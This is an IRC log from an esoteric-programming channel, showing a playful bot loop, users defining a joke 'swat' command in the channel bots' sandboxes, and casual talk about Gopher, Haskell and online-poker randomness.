12:33:28 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:29 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:29 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:33 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:33 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:37 <elliott_> Yes, truly this is a thing of beauty.
12:33:37 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:38 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:39 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:39 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:41 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:41 <fizzie> ^ignore ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot|lambdabot)!
12:33:42 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:45 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:33:46 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:48 <fizzie> I'm not going to wait 15, sorry.
12:33:50 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:33:59 <fizzie> But it's very... it's very something, I grant you that.
12:34:02 <elliott_> Now watch as HackEgo carries on the torch for another hour.
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12:34:49 <elliott_> Mission accomplished, I think.
12:35:15 <fizzie> Possibly welcome enough to just spontaneously explode.
12:35:56 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
12:35:59 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
12:36:03 <elliott_> will confuse people for the remaining forever.
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12:37:46 <elliott_> fizzie: I don't think you left it for enough iterations.
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12:45:55 <elliott_> fizzie: I think this is becoming: a problem.
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12:53:41 <fizzie> Yes, it seems impossible to be welcoming enough.
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12:54:31 <fizzie> Or maybe e just has so much to offer, based on all that flooding messages.
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12:55:24 <elliott_> fizzie: It's getting quite annoying.
12:58:14 <fizzie> Yes, maybe I'll add a temporary +b after the next hop or so. The person does not seem too interested in discussing things.
13:06:31 <fizzie> In order to be friendly, AIUI.
13:07:00 <fizzie> Sorry, not "understand", I don't want to stand under any contract.
13:15:35 <elliott_> fizzie: Can you implement the perfect internet protocol?
13:16:06 <fizzie> The only good internet protocol is a dead internet protocol. Like Gopher.
13:19:32 <mroman> Firefox does not even support gopher anymore :(
13:19:43 <mroman> I recently noticed while browsing someones site.
13:20:31 <mroman> oh. That someone is zzo38.
13:21:05 <fizzie> And there's an add-on (obviously) to add it back to modern Firefox.
13:21:25 <fizzie> Chrome hasn't ever supported Gopher, I think.
13:22:44 <mroman> Unless Facebook changes to gopher it probably never ever will.
13:23:24 <fizzie> I have an old book about the Internets, got it when we got our first connection. It's got one quite short chapter on this "new-fangled" WWW thing, something about Mosaic, but mostly it's about things that are quite quite dead now.
13:24:02 <fizzie> Like there was few pages of finger-able addresses that you could poke to get things like Coca-Cola vending machine state information at some US university.
13:24:10 <fizzie> Doing that from home was, like, so magical.
13:24:43 <mroman> Coke through octothingies?
13:24:46 <fizzie> It did not actually deliver, sadly.
13:25:05 <fizzie> Also some coffee pot status things.
13:25:30 <fizzie> And then Archie and WAIS when you were looking for a thing.
13:28:29 <fizzie> And maybe it mentioned AltaVista too. Not sure. I think this was 1995, in which case it could've been just launched.
13:29:22 <fizzie> Google finds both 1994 and 1995 as publication years for the book, assuming it's called what I think it was called.
13:31:08 <fizzie> Oh, hey: latest news from #xmonad: http://sprunge.us/hFfA
13:31:49 <elliott_> fizzie: Yes, I had a the feeling that it might be a many-place thing.
13:32:20 <fizzie> But it keeps happening in there; it's now around 15:30 in our faketime.
13:32:57 <elliott_> I warned you about fdhsfdsgdsg, bro.
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14:13:36 <fizzie> Oh, hey, now it's at #nethack.
14:13:50 <fizzie> And I see it's been at #maemo for quite a while.
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14:14:00 <fizzie> Gets everywhere, doesn't e.
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15:17:46 <fizzie> 17:16 -!- fdhsfdsgdsg [~ghkhghffd@117.3.195.94] has quit [K-Lined]
15:17:59 <fizzie> Now e's no longer welcome.
15:29:10 <ion> oklodol: It’s been about 7.5 days since the first symptoms. The throat was still aching badly yesterday but it feels better now. There’s still some major sinus congestion that affects the ears, too.
15:31:16 <fizzie> ion: I think he'd like to know whether his ears are likely to EXPLODE if he flies up.
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15:52:36 <ion> Quality IT journalism in Finland: the title translates to ‘Linux made Torvalds see red: “please kill yourself”’ http://www.itviikko.fi/tietoturva/2012/03/01/linux-sai-torvaldsin-nakemaan-punaista-pyydan-tapa-itsesi/201224405/7
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16:13:51 <Taneb> Both today's El Goonish Shive and Freefall are good
16:14:03 <Taneb> Today's xkcd is nice, rather than good.
16:16:09 <Taneb> Taneb's daily webcomic review is now over.
16:16:19 -!- Taneb has changed nick to Ngevd.
16:16:29 -!- Ngevd has changed nick to Taneb.
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17:53:34 <ais523> hey, look what my supervisor did: https://sites.google.com/site/thegeometryofsynthesis/
17:53:49 <ais523> (at least vaguely ontopic)
17:57:23 <Friendship> ais523: I like how the page starts with a brief description of what the tool is, then its development history, then download information.
17:59:30 <ais523> hmm, where does it say that?
17:59:50 <ais523> let me try with JS and cookies on
18:00:42 * ais523 wonders if he/she's somehow missing sarcasm
18:01:00 <ion> Try turning sarcasm on.
18:01:49 <ais523> anyway, the website was made entirely by my supervisor
18:01:51 <ais523> I mostly just wrote code for it
18:02:15 <ais523> (try spotting typos in the EULA, if you want some fun; we just put up what the lawyers told us to)
18:02:25 <ais523> (or alternatively, try out the code)
18:04:59 <ais523> I am also not inspired by it being made in Google Sites
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22:50:47 <elliott> I would just appreciate an opinion on this new low-level esoteric programming language I made up... --202.156.14.10 08:00, 29 February 2012 (UTC)
22:50:47 <elliott> How do you do conditionals and loops? —ehird 15:41, 29 February 2012 (UTC)
22:50:47 <elliott> It's probably esoteric... because you can't do conditionals and loops ----202.156.14.10 13:57, 2 March 2012 (UTC)
23:01:32 <Sgeo> Well, a language without conditionals and loops is probably esoteric (or designed by an incompetent)
23:01:56 <elliott> That makes the lambda calculus esoteric.
23:02:04 <elliott> Heck, that makes the functional subset of J and K esoteric.
23:02:11 <elliott> (And so probably APL, though I'm not sure.)
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23:02:42 <Sgeo> Lambda calculus has conditionals and loops, just not as language features.
23:04:44 <elliott> Sgeo: Therefore the lambda calculus also has, e.g. pointers.
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23:12:59 <elliott> 15:52:36: <ion> Quality IT journalism in Finland: the title translates to ‘Linux made Torvalds see red: “please kill yourself”’ http://www.itviikko.fi/tietoturva/2012/03/01/linux-sai-torvaldsin-nakemaan-punaista-pyydan-tapa-itsesi/201224405/7
23:13:08 <elliott> ion: I take it Linus Torvalds is the closest thing Finns have to a celebrity?
23:13:28 <elliott> I mean, you've got the gossip, the scandal, the drama, the good looks...
23:13:33 <elliott> Okay, maybe not the good looks.
23:13:45 <elliott> But Finland settling for something almost good should surprise nobody.
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23:14:29 <elliott> ais523: Did he rename it again>?
23:14:37 <elliott> Or is this GOS thing not The Compiler?
23:14:38 <fizzie> You have to play with the cards you've been dealt.
23:15:00 * elliott decides to never download this software.
23:15:05 <ais523> elliott: GOS is the name of the compiler, Verity is the name of the language
23:15:12 <ais523> and the file extension is .ia
23:15:43 <elliott> I found a way to circumvent the license
23:17:24 <elliott> I will now proceed to make a derivative work of it for non-academic purposes.
23:18:23 <ais523> err, if you /don't/ accept the license, then you can't distribute derivative works of it at all because nothing's licensing it to you
23:18:26 <ais523> what do you think of it, anyway?
23:18:46 <elliott> ais523: I can't distribute them, but if I agreed to the license, I would be prohibited from even making them
23:22:11 <ais523> actually, I'd better go home before I miss the last bus
23:22:16 -!- derdon has joined.
23:22:16 <ais523> I got a little preoccupied with Rubicon…
23:22:24 -!- ais523 has quit (Remote host closed the connection).
23:37:51 <oerjan> <elliott_> shocking <-- HEY THAT'S A VIOLATION OF MY TRADEMARK PATENT COPYRIGHT
23:38:57 <shachaf> oerjan: Wait, that's yours?
23:39:01 <shachaf> I thought that was elliott_'s.
23:39:21 <oerjan> shachaf: that's a very bold move you're doing there
23:40:01 <elliott> finally i have almost passed all my enemies in stack overflow reputation
23:40:04 <elliott> hate is the best motivator
23:40:14 <shachaf> elliott: Is cmccann among your enemies?
23:42:11 <oerjan> <elliott_> `welcome cheater <-- now _that's_ shocking
23:42:59 <shachaf> `welcome ?where ?where `welcome
23:43:04 <HackEgo> ?where: ?where: `welcome: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
23:43:53 <oerjan> oh wait it's the invisible space
23:43:57 <elliott> fizzie: ping ping ping ping
23:44:03 <elliott> oerjan: did you like my botloop
23:44:08 <shachaf> oerjan: There's also an mabiguity with ?where+
23:44:21 <oerjan> elliott: there was a botloop? i may not have got that far.
23:44:51 <elliott> oerjan: you're in for a treat
23:45:03 <shachaf> elliott: Am I in for a treat?
23:45:06 <elliott> admittedly it required fizzie's cooperation.
23:45:56 <oerjan> <elliott_> if it's on the list of ideas, it doesn't exist yet <-- well in theory.
23:45:59 <lambdabot> ^ok abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabca
23:46:03 <HackEgo> fdhsfdsgdsg: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
23:46:56 <elliott> shachaf: YOU RUINED IT FOR OERJAN
23:47:01 <elliott> oerjan: kick shachaf for ruining the magic
23:47:06 * oerjan swats shachaf -----###
23:47:32 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: swat: not found
23:47:38 <oerjan> the keys are like right next to each other
23:48:41 <shachaf> `run echo -ne '#!/bin/bash\necho "/me swats $@ -----###"\n' > bin/swat; chmod +x bin/swat
23:49:00 <shachaf> Obviously that'll work with /me instead of \SOMETHING ACTION, right?
23:49:06 <HackEgo> /me swats elliott -----###
23:51:04 <shachaf> `run echo -ne '#!/bin/bash\necho "\001ACTION swats $@ -----###\001"\n' > bin/swat; chmod +x bin/swat
23:51:10 <HackEgo> rm: cannot remove `bin/swat': No such file or directory
23:51:21 <oerjan> elliott: you're being horribly rude, you know that?
23:51:22 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: swat: not found
23:52:07 <elliott> oerjan: Don't worry, shachaf is used to it.
23:52:46 <shachaf> `run echo -ne '#!/bin/bash\necho "\001ACTION swats $@ -----###\001"\n' > bin/swat; chmod +x bin/swat
23:52:52 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: swat: not found
23:52:59 <HackEgo> .ACTION swats elliott -----###.
23:53:03 <elliott> I told you it wouldn't work.
23:53:36 <elliott> Stop having a broken bin/swat.
23:53:46 <shachaf> elliott: Who said it was broken?
23:53:52 <shachaf> It matches the specification perfectly.
23:54:17 <elliott> I don't like the specification.
23:55:37 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
23:55:53 <oerjan> ^ul (<CTCP>ACTION test<CTCP>)
23:56:00 <oerjan> ^ul (<CTCP>ACTION test<CTCP>)S
23:56:07 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
23:56:23 <oerjan> !bf_txtgen <CTCP>ACTION swats s
23:56:27 <EgoBot> 159 ++++++++++++[>>+++>+++++>+++++++<<<<-]>+.>>+++++.++.>.<++++++.++++++.-.<----.>+++++++++++++++++++++++++++++++++++++.++++.>+++++++++++++.<---.-.<.>.<<+++++++++. [717]
23:57:06 <oerjan> !bf_txtgen ACTION swats -----###
23:57:08 -!- augur has quit (Remote host closed the connection).
23:57:09 <EgoBot> 176 +++++++++++[>++++++>++++++++++>+++>++++<<<<-]>-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>+.....<+++...-------------------------. [222]
23:57:42 -!- augur has joined.
23:58:45 <oerjan> ^def swat bf +.++++++++++[>++++++>++++++++++>+++>++++<<<<-]>-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>>,[.,]<<.>+.....<+++...-------------------------.>>+.
23:58:49 * fungot swats elliott -----###.
23:59:10 * fungot swats elliott -----###.
23:59:26 <fungot> Usage: ^def <command> <lang> <code>
23:59:31 <oerjan> hm it's that pesky space of tab expansion again
23:59:31 <fungot> elliott: forking is so nice ( perhaps for performance reasons
23:59:54 <shachaf> ^def swat bf +.++++++++++[>++++++>++++++++++>+++>++++<<<<-]>-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>>,[.,]<<.>+.....<+++...-------------------------.>>+.
00:00:43 <oerjan> ^def swat bf +.++++++++++[>++++++>++++++++++>+++>++++<<<<-]>-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>>,[.,]<<.>+.....<+++...-------------------------.[-]+.
00:01:32 <oerjan> ^def swat bf +.++++++++++[>++++++>++++++++++>+++>++++<<<<-]>-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>>,[.,]<<.>+.....<+++...[-]+.
00:02:14 -!- augur has quit (Ping timeout: 244 seconds).
00:03:16 <fungot> Usage: ^def <command> <lang> <code>
00:03:48 <oerjan> ^def swat bf +.++++++++++[>++++++>++++++++++>+++>++++<<<<-]>-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>>,[--------------------------------[++++++++++++++++++++++++++++++++.[-]],]<<.>+.....<+++...[-]+.
00:03:58 * fungot swats elliott -----###
00:04:11 * fungot swats elliott -----###
00:04:39 <zzo38> ^def swat forth 1 EMIT ." ACTION swats " [BEGIN] KEY EMIT KEY? 0= [UNTIL] ." -----###"
00:04:39 <fungot> Usage: ^def <command> <lang> <code>
00:04:59 <oerjan> i think elliott has a negative feeling about ^swat for some incomprehensible reason
00:05:00 <fungot> Usage: ^def <command> <lang> <code>
00:05:07 <fungot> Usage: ^def <command> <lang> <code>
00:05:09 <elliott> I hereby mandate that ^swat can only return under that Forth form.
00:05:21 <elliott> oerjan will just have to implement Forth in Befunge-98 if he wants it.
00:05:39 <fungot> Usage: ^def <command> <lang> <code>
00:05:47 <olsner> looks like lots of FUN has been had in the channel tonight
00:05:57 <oerjan> zzo38: only bf and ul are implemented languages
00:06:42 <zzo38> oerjan: O, there is no language extensions either?
00:07:25 <oerjan> zzo38: they're both implemented in funge-98 in fungot's source
00:07:25 <fungot> oerjan: i'm having a big bang theory!!! you die...", and then having each entry be a 16-bit cons cell. also popular: ' lst' for lists.
00:07:46 <shachaf> ^def swat bf +1 EMIT ." ACTION swats "++++++++++[BEGIN>++++++>++++++++++>+++>++++<<<<-] KEY EMIT KEY? 0= >-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>>,[UNTIL--------------------------------[++++++++++++++++++++++++++++++++.[-]],]<< .">+.....<+++...[-]+. -----###"
00:07:51 * fungot swats elliott -----###
00:08:01 <fungot> Usage: ^def <command> <lang> <code>
00:08:42 <zzo38> Are you trying to cinfuse things?
00:09:16 <HackEgo> elliott wrote this learn DB, and wrote or improved many of the other commands in this bot. He probably has done other things?
00:09:30 <elliott> oerjan: btw fix http://esolangs.org/w/index.php?title=AutoMouse&curid=1235&diff=30864&oldid=30819 thanks
00:09:34 <HackEgo> zzo38 is not actually the next version of fungot, much as it may seem.
00:10:37 <zzo38> It is probably easier to implement Forth without GNU extensions, anyways
00:11:09 <lambdabot> Maybe you meant: google googleit do
00:11:37 <lambdabot> Occurs check: cannot construct the infinite type: a = a -> b
00:11:56 <shachaf> In other words, we need infinite types support.
00:27:11 <elliott> http://meta.stackoverflow.com/questions/124343/how-to-fix-it-if-your-variables-arent-passing
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00:46:50 <oerjan> elliott: it was removed?
00:48:16 <shachaf> ^def swat bf +1 EMIT ." ACTION swats "++++++++++[BEGIN>++++++>++++++++++>+++>++++<<<<-] KEY EMIT KEY? 0= >-.++.+++++++++++++++++.-----------.++++++.-.>>-.<+++++.++++.<+++++++++++++++++++.>---.-.>.>>,[UNTIL--------------------------------[++++++++++++++++++++++++++++++++.[-]],]<< .">+.....<+++...[-]+. -----###"
00:48:21 * fungot swats elliott -----###
00:54:45 <elliott> > "abc" >>= flip replicateM_ [0..]
00:54:46 <lambdabot> Couldn't match expected type `GHC.Types.Char'
00:55:06 <elliott> > [0..] >>= (`replicateM` "abc")
00:55:06 <lambdabot> ["","a","b","c","aa","ab","ac","ba","bb","bc","ca","cb","cc","aaa","aab","a...
00:55:28 <elliott> > [1..] >>= (`replicateM` "abc")
00:55:29 <lambdabot> ["a","b","c","aa","ab","ac","ba","bb","bc","ca","cb","cc","aaa","aab","aac"...
00:55:48 <oerjan> elliott: i'm pretty sure that one's been done here before
00:55:49 <elliott> [1..] >>= (`replicateM` "abcdefghijklmnopqrstuvwxyz012346789")
00:55:53 <elliott> > [1..] >>= (`replicateM` "abcdefghijklmnopqrstuvwxyz012346789")
00:55:54 <lambdabot> ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s...
00:56:15 <shachaf> 16:48 < copumpkin> > [0..] >>= (`replicateM` ['a'..'z']) -- fine
00:56:59 <oerjan> also some times with =<< iirc
01:02:03 <elliott> Nobody minds if I wildly abuse solidity's network connection, right?
01:06:35 <oerjan> well it's your connection
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01:10:09 <HackEgo> itidus21: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
01:10:34 <itidus21> now i know which type of esoteric this is
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01:12:13 <HackEgo> itidus21: This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
01:19:13 <oerjan> is like a burri… wait, wrong tutorial.
01:25:51 <lambdabot> ["aaa","aab","aac","aba","abb","abc","aca","acb","acc","baa","bab","bac","b...
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01:37:11 <oerjan> elliott: "An `MVar` is like a burri… wait, wrong tutorial."
01:37:25 <oerjan> quote from parallel haskell digest
01:38:36 * oerjan also wants to strangle the haskell designers for not making a raw string syntax
01:39:04 <elliott> oerjan: use a TH qq package?
01:39:46 <oerjan> elliott: i couldn't find an appropriate one.
01:40:53 <oerjan> i made such a module myself though
01:40:53 <elliott> oerjan: there's an ehird SO answer for that(tm)
01:40:54 <zzo38> I did put , on my own idea of programming language, the syntax for string literals that can be heredocs. Possibly later version of GHC might also add extensions for such things
01:41:29 <elliott> oerjan: let me dig it up :P
01:41:46 <elliott> oerjan: http://stackoverflow.com/questions/8956801/which-haskell-library-for-interpolated-strings (I cover ones that can't do interpolation too)
01:41:53 <elliott> though with an interpolated one you only have to worry about, like, ${ and |]
01:41:59 <elliott> which are probably unlikely strings for you
01:42:24 <oerjan> indeed those are not legal Qdeql syntax :P
01:42:49 <oerjan> well, except that Qdeql treats everything else as comments.
01:43:03 * elliott has ~10 minutes to learn how to use screen
01:43:13 <elliott> elliott@solidity:~$ screen
01:43:13 <elliott> elliott@solidity:~$ echo $TERM
01:43:24 <oerjan> i suppose interpolation _might_ be nice
01:44:39 <elliott> oerjan: how do you detach a screen session
01:44:49 <oerjan> i have never used screen
01:45:18 <elliott> quintopia: ok, where does that put the file thing?
01:45:53 <elliott> that works even past ssh reconnects, right?
01:47:03 <quintopia> if you will be attaching from multiple devices, and don't want to have to remember whether you detached or not
01:47:21 <quintopia> (detach from elsewhere and reattach here)
01:48:19 <elliott> this is just so I can leave mplayer running without having to be connected all the time, and still be able to check on it easily
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01:49:49 <oerjan> heh string-qq looks almost like what i wrote
01:50:07 <oerjan> with a few enhancements
02:00:53 <oerjan> elliott: btw i think i didn't find your answer earlier because i was searching for raw strings, which are not mentioned on that page
02:01:53 <oerjan> while there are a couple other answers telling haskell doesn't have them
02:03:58 <Jafet> I like my strings medium rare
02:05:18 <oerjan> Jafet: it's a bit annoying when you're trying to quote snippets from an esolang which uses \ all over the place
02:06:26 <oerjan> Jafet: by quoting i mean "but into a haskell program"
02:06:43 <elliott> oerjan: you could just read from a file, you know
02:06:47 <elliott> with unsafePerformIO if you must
02:07:06 <oerjan> elliott: um part of my annoyance is also about having to make this more than one file
02:07:16 * oerjan hasn't actually started writing the program yet though
02:10:40 <oerjan> ok so i got the idea to click on a random page on the wiki to see if there was something to improve.
02:11:24 <zzo38> Perhaps use a kind of preprocessor
02:11:30 <elliott> oerjan: better improve it!
02:11:37 <elliott> i suggest e.g. blanking the page
02:11:50 <elliott> i do the random cleanup thing too
02:12:28 <zzo38> I think you should leave it there. It is one of the joke languages
02:12:38 <oerjan> i think there is a certain point of view from which the Esme page is already perfect.
02:14:21 * oerjan hits random again instead
02:20:10 <elliott> oerjan: what did you hit :D
02:20:31 <oerjan> zzo38: http://zzo38computer.cjb.net/esoteric/incal/ doesn't load
02:20:31 <elliott> wow, it doesn't even have an introduction
02:20:45 <elliott> oerjan: it is probably obsoleted in favour of a gopher link :P
02:21:25 <itidus21> wow it earned the Shameful category
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02:24:15 <itidus21> in a place where obfuscated code is celebrated
02:25:50 <elliott> hmm, this mp3 file is going to end up at like a gigabyte.
02:26:02 <itidus21> so the feat is to make a full sized article about an esolang which actually has no meaning
02:27:57 * oerjan swats zzo38 for being another person prohibiting the web archive
02:28:03 <itidus21> ###b#ott#les#of#b#eer o#n t#he #w#all#, ###lovely ###[[Esme]]ralda ###o#n ###t#h#e #b#ee#r...
02:28:16 -!- NihilistDandy has joined.
02:29:01 <itidus21> to think that i could accidently catch the bus with the person who wrote "###b#ott#les#of#b#eer o#n t#he #w#all#, ###lovely ###[[Esme]]ralda ###o#n ###t#h#e #b#ee#r..."
02:29:13 <elliott> `addquote <itidus21> to think that i could accidently catch the bus with the person who wrote "###b#ott#les#of#b#eer o#n t#he #w#all#, ###lovely ###[[Esme]]ralda ###o#n ###t#h#e #b#ee#r..."
02:29:16 <HackEgo> 814) <itidus21> to think that i could accidently catch the bus with the person who wrote "###b#ott#les#of#b#eer o#n t#he #w#all#, ###lovely ###[[Esme]]ralda ###o#n ###t#h#e #b#ee#r..."
02:29:24 <elliott> oerjan: technically, everyone. http://zzo38computer.cjb.net/robots.txt
02:31:00 <oerjan> oh so even google isn't allowed
02:31:26 <elliott> oerjan: you must have missed zzo38 suggesting blocking google as the solution to all google-related problems.
02:31:37 <oerjan> well at least the page is a little prettier now
02:32:49 <oerjan> oh hm forgot the introduction
02:36:10 <elliott> hard to write without any more information...
02:38:55 <Friendship> GREGOR-FRIENDSHIP-RICHARDS: also makes #esoteric news regularly.
02:42:13 -!- tikfreenode has changed nick to Tiktalik.
02:44:48 <elliott> NihilistDandy: You seem to be assuming zzo38 is a member of everyone.
02:45:23 <zzo38> Actually a few other people also use gopher
02:47:34 <elliott> hmm, why did the dollar recover from a few years ago? i distinctly recall it being <0.6 gbp
02:48:19 <pikhq_> elliott: That might have actually been the GBP failing.
02:49:35 <oerjan> pikhq_: elliott clearly means this in the "Storm in the channel; continent isolated" sense.
02:49:49 <elliott> pikhq_: That's impossible.
02:50:06 <pikhq_> 1 USD is still ~0.75 EUR...
02:50:27 <zzo38> Is it all relative?
02:50:40 <pikhq_> zzo38: Yup. Gotta love fiat currency.
02:51:17 <elliott> pikhq_: Anyway, gimme ten pounds.
02:51:23 <elliott> It's the least you could do, as an American.
02:51:46 <quintopia> elliott: as an american, it is my duty to offer you ten pounds worth of work
02:52:06 <pikhq_> Also, USD is still at near parity with the CAD.
02:52:46 * pikhq_ gives elliott 4.5 kilograms
02:54:07 <pikhq_> GBPGBPGBPGBPGBPGBPGBPGBPGBPGBP
02:54:21 <elliott> pikhq_: 10 dollars of your American currency thank you.
02:54:53 <pikhq_> Oh, fine, sure, that's worth approximately nothing.
02:55:06 * pikhq_ gives elliott enough cash to buy a single stick of gum
02:55:44 <elliott> Wait, it'll actually be more like 300 megabytes, not 2 gigabytes.
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03:01:13 <Sgeo> elliott, monqy UPDATE
03:09:17 <elliott> http://groups.google.com/group/haskell-cafe/browse_thread/thread/ec9910ce56eb9187 mcquary rolls in his grave
03:17:13 <elliott> http://en.wikipedia.org/wiki/Signature_block#E-mail_and_Usenet, see McQuary limit
03:25:48 <oerjan> elliott: i noticed that guy too
03:26:08 <oerjan> although top posters annoy me more, for essentially the same reason
03:32:16 * Sgeo is tempted to try something, but that's kind of weird
03:32:37 <Sgeo> Doesn't work anyway
03:32:56 <elliott> what kind of monster would type @peniq
03:37:02 <Sgeo> elliott, monqy UPDATE
04:04:13 <lambdabot> Maybe you meant: pointful pointless pointy
04:04:52 <lambdabot> Maybe you meant: ask id kind ping wn
04:05:23 <Sgeo> @pointy foo bar
04:05:29 <Sgeo> @pointy foo . bar
04:05:56 <Sgeo> @pointy I want to have your babies
04:06:33 <Friendship> Didn't know if ` would be meaningful X-D
04:07:02 <Sgeo> `echo @pointy I am going to slap Friendship
04:07:05 <HackEgo> @pointy I am going to slap Friendship
04:07:20 <Sgeo> Invisible space?
04:08:03 <Sgeo> @pointy `echo`
04:08:18 <Sgeo> Why at end of input? Since when did ` mean something in Haskell?
04:09:24 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: div`: not found
04:10:13 <oerjan> @pointy this `echo` sucks
04:10:19 <elliott> <Friendship> Sgeo: Botloop avoidance WOMP WOMP
04:10:23 <elliott> Friendship: Which caused me to use fungot instead.
04:10:23 <fungot> elliott: ( including the procedure)
04:10:30 <elliott> Friendship: Yer losin' customers.
04:10:48 <elliott> @pointy the `including` procedure
04:10:56 <Friendship> elliott: HackEgo is playing the world's smallest violin.
04:15:41 <elliott> Friendship: It's too slow to manage anything bigger, eh?
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04:24:50 <elliott> Friendship: I suppose I shouldn't talk, when botte's bitcoins would have been stolen, did it exist.
04:25:14 <elliott> Its precious, precious bitcoins.
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04:41:47 <HackEgo> itidus22: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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05:32:03 <shachaf> elliott: DINOSAUR COMICS ARE THE DEVIL
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06:07:09 <Sgeo> "All online casinos use an RNG, but not all RNGs are the same. Of course, for security reasons, we can’t tell you exactly how ours works; but we can give you an idea: "
06:11:15 <Sgeo> https://www.uwinpoker.com/en.integrity.shuffler
06:11:24 <Sgeo> They apparently reshuffle the deck after each draw
06:11:53 <Sgeo> That sounds like a setup for something that sounds more secure but for subtle reasons isn't so random. I have no idea though.
06:12:17 <MDude> SO it's not "we've got a big chunk of uranium and a lot of geger counter pointed at it"?
06:12:32 <Sgeo> MDude, sounds like they're simulating it.
06:12:46 <Sgeo> Well, simulating a different quantum thing
06:13:01 <Sgeo> Which makes little to no sense, because the simulation itself needs random numbers from somewhere.
06:13:10 <MDude> Looking at it, guess thet do have that.
06:13:39 <madbrain> The easy way is to sample sound card noise
06:14:30 <MDude> I'm not sure what the simulation would even be other than calling for a random bit when the photon hits hte half-mirror.
06:14:42 <Sgeo> "Hole cards are only visible to the players that hold them. Even our floor manager cannot see what you are holding until the game is finished."
06:14:53 <Sgeo> That sounds like a recipe for trusting the client.
06:15:11 <Sgeo> Unless they're just talking interface-wise.
